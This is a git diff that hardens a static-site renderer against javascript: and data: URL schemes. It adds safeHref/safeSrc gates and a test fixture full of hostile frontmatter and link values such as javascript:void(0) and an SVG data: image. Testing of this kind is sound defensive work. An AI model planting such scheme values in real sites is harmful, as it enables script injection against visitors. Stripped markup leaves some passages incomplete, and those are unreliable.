diff --git a/.gitignore b/.gitignore index d5a45f1..b19db80 100644 --- a/.gitignore +++ b/.gitignore @@ -27,6 +27,10 @@ node_modules/ packages/sitetile/astro/dist-smoke/ packages/sitetile/astro/dist/ packages/sitetile/astro/.astro/ +# the smoke's SECOND, isolated build — a throwaway rsync'd copy of astro/ with its own hostile +# content/blog fixture (site-level fields a single-page fixture can't exercise; see +# smoke-build.mjs's buildHostileBlogFixture for why). Rebuilt every smoke run, never committed. +packages/sitetile/.smoke-hostile-blog/ # @tile/build stashes the renderer's own content/, blog/, pagetile/ and public/ HERE while it builds # somebody's site, and moves them back afterwards — including when the build throws. The directory # should never outlive a build; it is ignored because the one time it does (a killed process) the diff --git a/packages/sitetile/astro/content/scheme-check.md b/packages/sitetile/astro/content/scheme-check.md new file mode 100644 index 0000000..83e0173 --- /dev/null +++ b/packages/sitetile/astro/content/scheme-check.md @@ -0,0 +1,151 @@ +--- +sitetile-page: scheme-check +title: Scheme check — disallowed destinations must never reach a live sink +lang: en-US +# round 4 (R3-P2-1/R3-P3-1/R3-P2-2): every field below is set on THIS page's own frontmatter +# (never the shared _site.md), so none of it leaks onto any other fixture page — page keys +# override site keys in the merged meta (see pages/[...path].astro's siteConfig merge). +favicon: javascript:void(0) +fonts: javascript:void(0) +header-cta: Buy now=javascript:void(0) +# header-actions-cart-href (R3-P2-1, second instance): reaches window.location.href in +# header-actions-cart.js, not an href=/src= attribute — the sink the R3 sweep's literal +# `href=|src=` grep could not see. Requires the guild + a `cart` toggle to wire at all. +header-actions: Cart=cart toggle cart +header-actions-cart-guild: scheme-check-cart +header-actions-cart-href: javascript:void(0) +# round 5 (R4-P3-1): share-image:/og-image: reaching a live / +# with no gate — absUrl only makes a relative path absolute, it does +# not touch a value that already carries its own scheme. +share-image: javascript:void(0) +--- + +## Contact — disallowed scheme in the form action +%% sitetile: form action="javascript:void(0)" submit="Send" %% +R3-P2-1: `action=` reaching a live `
` with no gate. A disallowed scheme must +degrade to no backend (disabled submit), never a live `action="javascript:…"`. + +### Name + +## Contact — safe sibling (control) +%% sitetile: form action="/safe-contact" submit="Send" %% +The safe sibling: same coral, a normal destination, proving the check above did not just +turn every form off. + +### Name + +## Workshop tools +%% sitetile: collection eyebrow="Scheme check" %% +A grouped collection: a hostile item (disallowed scheme in the whole-card GH-style link, an +entity-encoded scheme in its `learn:` secondary link) beside a safe sibling. + +### Group +#### Hostile item →javascript:void(0) "Bad" +The card-wide GH-style link is a disallowed scheme. +learn: javascript:void(0) + +#### Safe item →https://github.com/example/safe-scheme-check "Good" +The safe sibling — same coral, live destinations, control for the check above. +learn: /safe-learn + +## Linked cells +%% sitetile: grid cols=2 %% +### Hostile cell →javascript:void(0) "Bad" +A whole-cell link with a disallowed scheme. + +### Safe cell →/safe-grid "Good" +A whole-cell link with a safe destination — control. + +## Gallery +%% sitetile: gallery %% +### Hostile gallery cell →javascript:void(0) +A disallowed scheme on a gallery cell. + +### Safe gallery cell →/safe-gallery +A safe sibling — control. + +## Carousel +%% sitetile: carousel %% +### Hostile carousel cell →javascript:void(0) +A disallowed scheme on a carousel cell. + +### Safe carousel cell →/safe-carousel +A safe sibling — control. + +## Roster +%% sitetile: people %% +### Hostile person →javascript:void(0) +![Hostile portrait](data:image/svg+xml;base64,PHN2Zz4=) +An SVG `data:` portrait (excluded from the raster allowlist — an SVG can carry its own +`} {filterLabel && facets.length > 0 && } diff --git a/packages/sitetile/astro/src/components/sections/GridCell.astro b/packages/sitetile/astro/src/components/sections/GridCell.astro index e70f4ad..83b2286 100644 --- a/packages/sitetile/astro/src/components/sections/GridCell.astro +++ b/packages/sitetile/astro/src/components/sections/GridCell.astro @@ -2,7 +2,7 @@ // Single grid-card renderer, factored out of Grid.astro so `pack=masonry` can call it once per // column without duplicating the markup (Astro frontmatter can't return JSX from a plain helper // function — only a template/component can — so this got its own tiny component instead). -import { inlineHtml, bodyHtml, firstImage, imgTag } from '@sitetile'; +import { inlineHtml, bodyHtml, firstImage, imgTag, safeHref } from '@sitetile'; import { lucideSvg } from '../../lib/lucide.mjs'; import Arrow from '@cvernet/signet/Arrow.astro'; import '@cvernet/signet/arrow.css'; // tail-retract hover morph CSS — was dropped when Grid.astro's @@ -15,14 +15,22 @@ const tgt = (h) => isExternal(h) ? { target: '_blank', rel: 'noopener' } : {}; const fi = imageCards ? firstImage(c.body) : null; const badge = c.badge ? true : false; const footTag = c.badge && c.cta; +// round 3 (Astro consumers, R2-P3-5): `c.href`/`c.badgeHref` are author Markdown (`### Title +// →href`), the same destinations site-core.js's own `grid` case gates on `isSafeHref` — but this +// component builds its `href=` attribute directly, with no scheme check of its own. `safeHref` +// (exported by site-core.js, the shared policy) returns the destination or `null`; every `href=` +// below reads the `*Ok` value, never `c.href`/`c.badgeHref` directly, so a `javascript:`/`data:` +// cell link degrades to the existing plain (non-``) shape instead of going live. +const hrefOk = c.href ? safeHref(c.href) : null; +const badgeHrefOk = c.badgeHref ? safeHref(c.badgeHref) : null; // `[Label →href]` badge = a SECONDARY card link (e.g. an "Open in …" action). It can't // nest inside the whole-cell , so such a cell uses the OVERLAY pattern: a relative container, an // absolute full-cell overlay (primary link), and the action + "Learn more" stacked above it. -const hasAction = !!(c.href && c.badgeHref); +const hasAction = !!(hrefOk && badgeHrefOk); --- {imageCards ? ( - c.href ? ( - + hrefOk ? ( + {fi.img &&
} {badge && } {c.title &&

} @@ -38,28 +46,28 @@ const hasAction = !!(c.href && c.badgeHref); ) ) : hasAction ? ( ) : ( - c.href ? ( - + hrefOk ? ( + {footTag ? null : (badge && )} {c.icon ?

`} />}

- {p.href - ? + {/* round 3 (Astro consumers, R2-P3-5): `p.href` is author Markdown, gated by + site-core.js's own `people` case via `isSafeHref`; `safeHref` shares that ONE + policy here — a `javascript:`/`data:` name link degrades to plain text. */} + {pHrefOk + ? : }

{p.badge && ( @@ -48,9 +54,13 @@ const ext = (h) => /^https?:\/\//.test(h);
{p.links && p.links.length > 0 && ( )}
diff --git a/packages/sitetile/astro/src/components/sections/Tagcloud.astro b/packages/sitetile/astro/src/components/sections/Tagcloud.astro index 1ae7f5f..e1661bd 100644 --- a/packages/sitetile/astro/src/components/sections/Tagcloud.astro +++ b/packages/sitetile/astro/src/components/sections/Tagcloud.astro @@ -6,7 +6,7 @@ // (site-core.js) so the editor preview matches the build. // IR: `## Title` + `%% sitetile: tagcloud %%` + a markdown list of `- [Label](/href)` items. // The Label carries its own count baked in (e.g. "comic576"), matching how live themes print it. -import { parseParams, inlineHtml, tagcloudLinks } from '@sitetile'; +import { parseParams, inlineHtml, tagcloudLinks, safeHref } from '@sitetile'; const { section, hero } = Astro.props; const Title = hero ? 'h1' : 'h2'; // 🔴 The result was discarded here — the call was kept only to VALIDATE the params. @@ -23,6 +23,12 @@ const links = tagcloudLinks(section.body); {eyebrow &&

} {section.title && } <div class="st-tag-flow"> - {links.map((l) => <a class="st-tag" href={l.href} set:html={inlineHtml(l.label)} />)} + {links.map((l) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(l.href); + return hrefOk + ? <a class="st-tag" href={hrefOk} set:html={inlineHtml(l.label)} /> + : <span class="st-tag" set:html={inlineHtml(l.label)} />; + })} </div> </section> diff --git a/packages/sitetile/astro/src/layouts/SiteLayout.astro b/packages/sitetile/astro/src/layouts/SiteLayout.astro index 649632f..f2fecc8 100644 --- a/packages/sitetile/astro/src/layouts/SiteLayout.astro +++ b/packages/sitetile/astro/src/layouts/SiteLayout.astro @@ -11,7 +11,7 @@ import * as lingo from '../packages/lingo/locale.mjs'; import { BRAND_ICON } from '../lib/brands.mjs'; // The site icon set — ONE model behind both the emitted files (the three icon routes) and the // <link> tags below. See packages/sitetile/icon-core.mjs. -import { iconHrefs } from '@icons'; +import { iconHrefs, ICON_PATHS } from '@icons'; import { FEED_PATH } from '../lib/feed.mjs'; import { pageGraph, jsonLdScript } from '../lib/structured-data.mjs'; import { inboxBubbleOn } from '../lib/inbox-bubble.mjs'; @@ -141,10 +141,14 @@ const footerCols = String(meta['footer-cols'] || '').split(';;').map((c) => c.tr }); return { head, items }; }); -const footerLogo = meta['footer-logo'] ? String(meta['footer-logo']).trim() : ''; +// round 3 (Astro consumers, R2-P3-5): `footer-logo`/`site-logo` are raw frontmatter image +// destinations reaching a live `<img src>` in three places below with no gate of their own; +// safeSrc shares site-core.js's `isSafeImageSrc` policy — gated once here, at the source, so +// every consumer of these two variables is covered without repeating the check three times. +const footerLogo = meta['footer-logo'] ? safeSrc(String(meta['footer-logo']).trim()) : ''; // The header/hero logo (`site-logo`) — the REAL site logo (an animated gif, say), // shared across hero + sub-page header so a `view-transition-name` morphs it page-to-page. -const siteLogo = meta['site-logo'] ? String(meta['site-logo']).trim() : footerLogo; +const siteLogo = meta['site-logo'] ? safeSrc(String(meta['site-logo']).trim()) : footerLogo; // `generator` — machine-readable provenance, DEFAULT ON. See the <meta> in <head> for why this one // defaults the opposite way to the visible `Powered by feelreef` footer. `generator: off` (or an @@ -172,6 +176,9 @@ const headerBrand = meta.brand ? String(meta.brand).trim() : (meta.title ? Strin // `header-cta: Label=href` — an optional primary action button in the header's right side // (e.g. a "Subscribe" pill). General; absent → the header stays as-is. const headerCta = (() => { const m = String(meta['header-cta'] || '').match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; })(); +// round 4 (R3-P3-2): hoisted alongside the declaration — was three safeHref(headerCta.href) +// calls in the template below for the same destination, each a separate drop-warning entry. +const headerCtaHrefOk = headerCta ? safeHref(headerCta.href) : null; // ── HEADER ACTIONS (Coral A) + NAV-MOBILE HAMBURGER (Coral B) — the interaction wave. // Both reuse the age-gate primitive: a hidden checkbox + <label> whose click flips // `body:has(#…:checked) …` CSS reveal — ZERO JS for the toggle itself (a tiny gated @@ -219,7 +226,13 @@ const cartEmpty = (meta['header-actions-cart-empty'] ? String(meta['header-actio // off-shop pages route there instead of opening an empty drawer. Absent guild → not wired → the // island below is never imported → byte-identical for every non-opted site. const cartGuild = (meta['header-actions-cart-guild'] ? String(meta['header-actions-cart-guild']).trim() : ''); -const cartHref = (meta['header-actions-cart-href'] ? String(meta['header-actions-cart-href']).trim() : ''); +// round 4 (R3-P2-1, second instance): `header-actions-cart-href` is a raw frontmatter +// destination that reaches `window.location.href` unfiltered in header-actions-cart.js — a +// same-origin script assignment, which is a script-execution context for a `javascript:` value +// exactly like a live `href`. Gate here, at the value's one declaration point (alongside +// `siteLogo`/`copyrightHref` above), so the `data-cart-href` attribute below and the client +// script that reads it can never see anything but a validated destination. +const cartHref = (meta['header-actions-cart-href'] ? (safeHref(String(meta['header-actions-cart-href']).trim()) || '') : ''); const cartWired = toggleActions.some((a) => a.target === 'cart') && !!cartGuild; // `nav-mobile: hamburger` — responsive nav collapse (the real gap: `.rf-nav` had zero // breakpoint collapse). Pure CSS below; here it only flips a body attribute + renders @@ -270,11 +283,21 @@ const breadcrumbHome = meta['breadcrumb-home'] ? String(meta['breadcrumb-home']) const breadcrumbTrail = String(meta['breadcrumb-trail'] || '').split(';').map((s) => s.trim()).filter(Boolean) .map((s) => { const m = s.match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; }) .filter(Boolean); -const copyrightHref = meta['copyright-href'] ? String(meta['copyright-href']).trim() : ''; -const languageHref = meta['language-href'] ? String(meta['language-href']).trim() : '/language'; +// round 3 (Astro consumers, R2-P3-5): `copyright-href` is a raw frontmatter destination; safeHref +// shares the same policy every other emitter uses (gated once here, at the source). +const copyrightHref = meta['copyright-href'] ? safeHref(String(meta['copyright-href']).trim()) : ''; +// round 3 (Astro consumers, R2-P3-5): `language-href` is a raw frontmatter destination (used +// verbatim as `computedLanguageHref` below when Lingo is off); safeHref shares the same policy +// every other emitter uses, falling back to the safe default rather than going live unfiltered. +const languageHref = meta['language-href'] ? (safeHref(String(meta['language-href']).trim()) || '/language') : '/language'; // A theme can declare a webfont stylesheet URL via `fonts:` — emitted as preconnect + <link> (the // healthy way), NOT a render-blocking @import inside the theme CSS. -const fontsUrl = meta.fonts ? String(meta.fonts).trim() : ''; +// round 4 (R3-P3-1): `fonts:` is a raw frontmatter destination reaching a live +// `<link rel=stylesheet href>` below — not a script-execution context (a browser fetches CSS, it +// does not navigate it), so this is defense-in-depth for the same sink class as the P2 findings, +// gated the same way: at the declaration point, falling back to "no stylesheet" (the same +// no-op the field's own absence already produces) rather than a live link with a disallowed scheme. +const fontsUrl = meta.fonts ? (safeHref(String(meta.fonts).trim()) || '') : ''; // ── PACKAGES (opt-in enhancements) ─────────────────────────────────────────── // The productized form of the ejecta "enhancements-optin" doctrine: a Recast/native @@ -428,7 +451,7 @@ const showTopBanner = !!(bleed && bleed.topBanner && locales.length > 0); // right: `.st-sidebar-main` carries the normal <slot /> content // All other values (or absent) fall through to the current single-column rf-main. // sidebar-nav syntax mirrors footer-cols: `;;` = group separator, `;` = item, `Label=url`. -import { parseSidebarNav } from '../../../site-core.js'; +import { parseSidebarNav, safeHref, safeSrc } from '../../../site-core.js'; import { groupByArchive, footerWidgets, blogSearchOn, postUrl } from '../lib/blog.mjs'; const pageLayout = meta.layout ? String(meta.layout).trim() : 'stack'; const isSidebar = pageLayout === 'sidebar'; @@ -499,7 +522,7 @@ const canonicalRedirectParams = String(meta['blog-canonical-redirects'] || '') // full-width overlay whose island lazily fetches /search-index.json and filters it // client-side. Absent → zero button, zero overlay, zero script (output stays // byte-identical). All copy comes from frontmatter (localizable), no station -// literals. XSS-safe: every field renders through Astro auto-escaping / the island's +// literals. script-injection-safe: every field renders through Astro auto-escaping / the island's // textContent — no set:html of post data anywhere. const blogSearch = blogSearchOn(meta) && hasBlog; const searchLabel = (meta['blog-search-label'] ? String(meta['blog-search-label']).trim() : '') || 'Search'; @@ -541,7 +564,7 @@ const themeToggle = colorScheme === 'toggle'; // isn't re-prompted across pages (the live Wix `ageConfirmed` behaviour a // pure-CSS gate must otherwise degrade on). No-flash: a HEAD script sets the // reveal attribute before first paint when already confirmed. -// XSS-SAFE by construction: every field is rendered through Astro's auto-escaping +// script-injection-safe by construction: every field is rendered through Astro's auto-escaping // {expr}/attr interpolation — no set:html of author copy anywhere. // OPT-IN: absent → nothing renders and no script ships (every other site/page // unaffected). GENERIC: all copy + URLs come from frontmatter, no station literals — @@ -564,7 +587,7 @@ const ageGate = ageGateOn ? { noteLinks: String(meta['age-gate-note-links'] || '').split(';').map((s) => s.trim()).filter(Boolean) .map((part) => { const m = part.match(/^(.*\S)\s*=\s*(\S+)$/); return m ? { label: m[1].trim(), href: m[2].trim() } : null; }) .filter(Boolean), - backUrl: String(meta['age-gate-back-url'] || '').trim() || '/', + backUrl: safeHref(String(meta['age-gate-back-url'] || '').trim()) || '/', // 🩸 the two button labels defaulted to Japanese for every tenant. They are the only words in // this dialog the site does not have to write, so they are the only ones that could be wrong // in a language nobody chose. Locale table now, override keys unchanged. @@ -584,7 +607,13 @@ const ageGateLines = (s) => String(s || '').split('\\n'); // posted on socials) yet the renderer emitted none of it before — a real gap, not chrome. const absUrl = (u) => (u && Astro.site ? new URL(u, Astro.site).href : u); const description = meta.description ? String(meta.description).trim() : ''; -const authoredShareImage = String(meta['share-image'] || meta['og-image'] || '').trim(); +// round 5 (R4-P3-1): `share-image:`/`og-image:` is a raw frontmatter destination reaching a live +// <meta property=og:image>/<meta name=twitter:image> with no gate — `absUrl` only makes a relative +// path absolute, it does not touch a value that already carries its own scheme (`new URL('javascript:x', base)` +// resolves to `javascript:x` unchanged), so a disallowed scheme survived straight through. safeSrc +// shares the same policy every image consumer in this file already uses (site-logo/footer-logo, +// above) — gated once here, at the source, same as those. +const authoredShareImage = safeSrc(String(meta['share-image'] || meta['og-image'] || '').trim()) || ''; // `og-cards: true` in _site.md → every page gets a generated link-preview card at a path derived // from its own URL. The PNG does not exist yet at this point: it is rendered from THIS html after // the build (packages/sitetile/og/build-og.mjs), which is why the path has to be derivable from the @@ -603,7 +632,20 @@ const shareImage = absUrl(authoredShareImage // /apple-touch-icon.png all answered 404 on live sites — measured. The three routes beside this // layout now emit a badge for every build, and the hrefs below come from the SAME model that draws // them (packages/sitetile/icon-core.mjs), so a link here can never name a file that isn't emitted. -const iconLinks = iconHrefs(meta, { hasPwa }); +const iconLinksRaw = iconHrefs(meta, { hasPwa }); +// round 4 (R3-P3-1): iconHrefs() hands back `favicon:`/`site-logo:`/`footer-logo:` (icon-core's +// siteMark) UNFILTERED as a live `<link>` href when the site set one — the gate that already +// covers site-logo's three <img src> consumers (safeSrc, above) never touches this path, because +// iconHrefs() reads `meta` directly rather than the gated variable. Gate here, the one place both +// `<link>` consumers below read the result, falling back to icon-core's own generated paths — the +// same fallback the "no mark" branch already emits — rather than a live link with a disallowed +// scheme. `<link rel=icon>`/`apple-touch-icon` are not a script-execution context (a browser +// fetches an image, it does not navigate them), so this is defense-in-depth, not the P2 fix. +const iconMarkSafe = iconLinksRaw.icon.every((l) => safeSrc(l.href)); +const iconLinks = iconMarkSafe ? iconLinksRaw : { + icon: [{ href: ICON_PATHS.ico, sizes: '32x32' }, { href: ICON_PATHS.svg, type: 'image/svg+xml' }], + appleTouch: ICON_PATHS.apple, +}; // Public per-site beacon id, compiled from ir/_site.md. Validate hand-edited IR too. const rawAnalyticsToken = String(meta['analytics-token'] || '').trim().toLowerCase(); const analyticsToken = /^[0-9a-f]{32}$/.test(rawAnalyticsToken) ? rawAnalyticsToken : ''; @@ -859,9 +901,18 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') {ageGate.title && <h2 class="st-age-gate-title" id="st-age-gate-title">{ageGate.title}</h2>} {ageGate.body && <p class="st-age-gate-body">{ageGateLines(ageGate.body).map((ln, i) => <Fragment>{i > 0 && <br />}{ln}</Fragment>)}</p>} {ageGate.note && <p class="st-age-gate-note">{ageGateLines(ageGate.note).map((ln, i) => <Fragment>{i > 0 && <br />}{ln}</Fragment>)}</p>} + {/* round 3 (Astro consumers, R2-P3-5): `age-gate-note-links`/`age-gate-back-url` are raw + frontmatter destinations reaching a live `<a href>` with no gate; safeHref shares the + same policy every other emitter uses. */} {ageGate.noteLinks.length > 0 && ( <p class="st-age-gate-note-links"> - {ageGate.noteLinks.map((it) => <a href={it.href} target="_blank" rel="noopener noreferrer">{it.label}</a>)} + {ageGate.noteLinks.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(it.href); + return hrefOk + ? <a href={hrefOk} target="_blank" rel="noopener noreferrer">{it.label}</a> + : <span>{it.label}</span>; + })} </p> )} <div class="st-age-gate-actions"> @@ -957,13 +1008,18 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') buried, and faking the move with CSS makes the button teleport when the menu opens, because one element cannot be in two places.) It sits before .rf-header-actions so the header reads logo → nav → CTA → icon actions → hamburger, left to right. */} - {headerCta && <a class="rf-header-cta" href={headerCta.href} {...ext(headerCta.href)}>{headerCta.label}</a>} + {/* round 3 (Astro consumers, R2-P3-5): `header-cta:` is a raw frontmatter destination; + safeHref shares the same policy every other emitter uses — a disallowed scheme degrades + to plain text rather than a live href. */} + {headerCta && (headerCtaHrefOk + ? <a class="rf-header-cta" href={headerCtaHrefOk} {...ext(headerCtaHrefOk)}>{headerCta.label}</a> + : <span class="rf-header-cta">{headerCta.label}</span>)} {/* header-actions (Coral A): icon buttons on the header's right. link → <a>; toggle → a hidden checkbox + <label> whose CSS reveal opens the drawer/offcanvas. */} {headerActions.length > 0 && ( <div class="rf-header-actions" data-cart-guild={cartWired ? cartGuild : undefined} data-cart-href={cartWired && cartHref ? cartHref : undefined}> {headerActions.map((a) => a.type === 'link' - ? <a class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} href={a.target || '#'} aria-label={a.label} set:html={a.icon}></a> + ? <a class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} href={safeHref(a.target) || '#'} aria-label={a.label} set:html={a.icon}></a> : <Fragment> <input type="checkbox" id={a.id} class="rf-ha-check" hidden data-ha-toggle /> <label class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} for={a.id} role="button" tabindex="0" aria-label={a.label} aria-haspopup="dialog" aria-controls={a.target === 'sidebar' ? undefined : a.drawerId} data-ha-key> @@ -997,9 +1053,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') {breadcrumbLabel && ( <nav class="rf-breadcrumb reef-breadcrumb" aria-label="Breadcrumb"> <a href="/">{breadcrumbHome}</a> - {breadcrumbTrail.map((t) => ( - <Fragment><span class="rf-breadcrumb-sep" aria-hidden="true">»</span><a href={t.href}>{t.label}</a></Fragment> - ))} + {breadcrumbTrail.map((t) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(t.href); + return ( + <Fragment><span class="rf-breadcrumb-sep" aria-hidden="true">»</span>{hrefOk ? <a href={hrefOk}>{t.label}</a> : <span>{t.label}</span>}</Fragment> + ); + })} <span class="rf-breadcrumb-sep" aria-hidden="true">»</span><span>{breadcrumbLabel}</span> </nav> )} @@ -1034,9 +1094,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') <li class="st-sidebar-group"> {g.head && <p class="st-sidebar-group-head">{g.head}</p>} <ul class="st-sidebar-list"> - {g.items.map((it) => ( - <li>{it.href ? <a href={it.href} style={it.weight ? `font-size:${it.weight}px` : undefined}>{it.label}</a> : <span>{it.label}</span>}</li> - ))} + {g.items.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(it.href); + return ( + <li>{hrefOk ? <a href={hrefOk} style={it.weight ? `font-size:${it.weight}px` : undefined}>{it.label}</a> : <span>{it.label}</span>}</li> + ); + })} </ul> </li> ))} @@ -1072,9 +1136,12 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') )} {sidebarSocial.length > 0 && ( <nav class="st-sidebar-social" aria-label="Social"> - {sidebarSocial.map((it) => ( - <a href={it.href} {...ext(it.href)} aria-label={it.label} title={it.label} set:html={it.icon} /> - ))} + {sidebarSocial.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was three calls per item. + const hrefOk = safeHref(it.href); + return hrefOk && + <a href={hrefOk} {...ext(hrefOk)} aria-label={it.label} title={it.label} set:html={it.icon} />; + })} </nav> )} </aside> @@ -1090,7 +1157,11 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') <section class="st-prose rf-foot-widget rf-foot-popular"> {footWidgets.popular.heading && <h2>{footWidgets.popular.heading}</h2>} <ul class="st-list"> - {footWidgets.popular.items.map((it) => <li><a href={it.href}>{it.label}</a></li>)} + {footWidgets.popular.items.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(it.href); + return <li>{hrefOk ? <a href={hrefOk}>{it.label}</a> : <span>{it.label}</span>}</li>; + })} </ul> </section> )} @@ -1098,7 +1169,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') <section class="st-tagcloud rf-foot-widget rf-foot-tagcloud"> {footWidgets.categories.heading && <h2>{footWidgets.categories.heading}</h2>} <div class="st-tag-flow"> - {footWidgets.categories.items.map((it) => <a class="st-tag" href={it.href}>{it.label}</a>)} + {footWidgets.categories.items.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was two calls per item. + const hrefOk = safeHref(it.href); + return hrefOk + ? <a class="st-tag" href={hrefOk}>{it.label}</a> + : <span class="st-tag">{it.label}</span>; + })} </div> </section> )} @@ -1120,22 +1197,35 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '') {footerCols.map((col) => ( <div class="rf-foot-col"> {col.head && <h4>{col.head}</h4>} - {col.items.map((it) => (it.href - ? <a href={it.href} {...ext(it.href)}>{it.label}</a> - : <span class="rf-foot-soon">{it.label}</span>))} + {col.items.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was three calls per item. + const hrefOk = safeHref(it.href); + return hrefOk + ? <a href={hrefOk} {...ext(hrefOk)}>{it.label}</a> + : <span class="rf-foot-soon">{it.label}</span>; + })} </div> ))} </div> </div> ) : footerSocial.length > 0 ? ( <nav class="rf-footer-social" aria-label="Social"> - {footerSocial.map((it) => ( - <a href={it.href} {...ext(it.href)} aria-label={it.label} set:html={it.icon} /> - ))} + {footerSocial.map((it) => { + // round 4 (R3-P3-2): hoisted to a const — was three calls per item. + const hrefOk = safeHref(it.href); + return hrefOk && + <a href={hrefOk} {...ext(hrefOk)} aria-label={it.label} set:html={it.icon} />; + })} </nav> ) : navLinks.length > 0 && ( <nav class="rf-footer-nav" aria-label="Footer"> - {navLinks.map((l) => <a href={l.href} {...ext(l.href)}>{l.label}</a>)} + {navLinks.map((l) => { + // round 4 (R3-P3-2): hoisted to a const — was three calls per item. + const hrefOk = safeHref(l.href); + return hrefOk + ? <a href={hrefOk} {...ext(hrefOk)}>{l.label}</a> + : <span>{l.label}</span>; + })} </nav> )} {/* footer logo links home. diff --git a/packages/sitetile/astro/src/lib/blog.mjs b/packages/sitetile/astro/src/lib/blog.mjs index e6ff8c7..2c776e7 100644 --- a/packages/sitetile/astro/src/lib/blog.mjs +++ b/packages/sitetile/astro/src/lib/blog.mjs @@ -3,7 +3,7 @@ // + body) living in the build's `blog/` dir (the reef `blog_posts` store shape). // The blog pages wear the SAME SiteLayout shell as the rest of the site, so the // site's theme + packages (bleedblend band, lingo head) apply to /devlog too. -import { splitFrontmatter, bodyHtml, inlineHtml, parseSite } from '@sitetile'; +import { splitFrontmatter, bodyHtml, inlineHtml, parseSite, safeHref, safeSrc } from '@sitetile'; // Chrome copy lives in a module that imports NO build alias, so a plain `node` test can reach // it. Re-exported here because every component already imports these from blog.mjs — the seam // moved, the call sites did not. @@ -130,6 +130,16 @@ export function parsePost(slug, raw, excerptMax = 180) { // (a showcase post) renders as <video> in the body, but must never become the archive-card // thumbnail (a .mp4 in <img src> is a broken image). Falls through to '' when the post has only video. const imgM = [...b.matchAll(/!\[[^\]]*\]\(([^)\s]+)/g)].map((m) => m[1]).find((s) => !/\.(mp4|webm|mov|m4v|ogv)(?:$|[?#])/i.test(s)); + // round 5 (R4-P3-2): `image` is this post's featured-image URL — extracted straight off a + // markdown regex, with NO gate of its own, and consumed VERBATIM as a live `<img src>` by every + // card renderer that shows it (blog index, both term archives, "Keep reading"/"Recent posts", + // the archive island's client corpus). `bodyHtml`'s own in-body image rendering already refuses + // an unsafe src via `imgTag`/`isSafeImageSrc` — this is the SAME post, the SAME first image, + // reaching a DIFFERENT template with no such gate (measured: an SVG `data:` featured image + // rendered nothing in the post body and a live `<img src="data:image/svg+xml…">` on the index). + // Gated here, once, at the single field every one of those consumers reads — `safeSrc` shares + // the same raster-only `data:` allowlist as the body renderer, so both agree on this post's + // image from now on. `''` (not null) so every existing `post.image` falsy check is unaffected. // 🩸 corrected 2026-07-07 (devlog excerpt chase): the old logic took only the FIRST // surviving line (.find()), then sliced it at 140 chars. Fine for a normal single-line // markdown paragraph, but real WP/Blogger posts are often written as many short @@ -182,7 +192,7 @@ export function parsePost(slug, raw, excerptMax = 180) { // enrich per-post category (a plain devlog, or an authored-count model) → no category archive. categories: fmList(meta.categories), body: b, - image: imgM || '', + image: safeSrc(imgM) || '', author: fmStr(meta.author), // '' when absent → byline stays hidden; a site with authors enriches it excerpt, excerptText: fullText, // full join for per-site excerpt re-capping in buildIndexView @@ -291,7 +301,7 @@ export function listedPosts(posts, meta) { // the href is not a category archive at all (the rail's own `All Posts|585|/diary` row). Keyed off // the site's own `blog-category-base`, so a site publishing archives elsewhere still matches. function categoryHrefSlug(href, meta) { - const base = String((meta || {})['blog-category-base'] || '/category').replace(/\/+$/, ''); + const base = categoryBase(meta); const path = String(href || '').split(/[?#]/)[0].replace(/\/+$/, ''); if (!path.startsWith(base + '/')) return null; const seg = path.slice(base.length + 1); @@ -736,11 +746,51 @@ export function blogSearchOn(meta) { // blogBase: the blog's mount base. `blog-path` absent → historic `/devlog`. An explicit // empty / "/" mounts the blog at the site root (''); any other value is trailing-slash // normalised so callers can always append `/…` without doubling the slash. +// +// round 5 (R4-P1-1): `blog-path` is a documented site-level frontmatter field this function used +// to return VERBATIM — every one of its ~10 consumers (the blog index, both term archives, every +// post's breadcrumb/back-link/prev-next, "Keep reading"/"Recent posts", rss.xml, sitemap.xml, the +// archive island's client corpus) inherits from THIS one function, so an unvalidated `blog-path` +// poisoned every post link on the site at once. Gated here, at the declaration point, the same +// policy every other destination in this renderer already uses (`safeHref` — this is a path +// prefix, not an image, so `href`'s allowlist is the right one). `safeHref` itself records the +// drop (isSafeHref → recordDrop) and returns null on a disallowed scheme; this degrades to the +// historic `/devlog` default — the SAME value an absent `blog-path` already produces — rather +// than to a blank/broken mount, so a hostile config never becomes a hostile OR a dead blog. export function blogBase(meta) { if (!meta || meta['blog-path'] == null) return '/devlog'; const raw = String(meta['blog-path']).trim(); if (raw === '' || raw === '/') return ''; - return raw.replace(/\/+$/, ''); + const path = raw.replace(/\/+$/, ''); + return safeHref(path) ?? '/devlog'; +} + +// categoryBase / tagBase: the same shape as blogBase, for the WP-style term-archive mount points +// (`/category`, `/tag`). round 5 (R4-P1-1, "term-archive URLs"): `blog-category-base` / +// `blog-tag-base` are documented site-level fields read VERBATIM, un-gated, in ~10 places — +// tagHref (every tag/category chip site-wide), sitemap.mjs, categoryHrefSlug, and each of +// category/tag's own route files (base + [...loc] siblings), where the value becomes the +// `pageHref()` this archive's own pager Prev/Next links are built from. One hostile value in +// `_site.md` therefore reached every chip AND every pager link on the site, the exact R4-P1-1 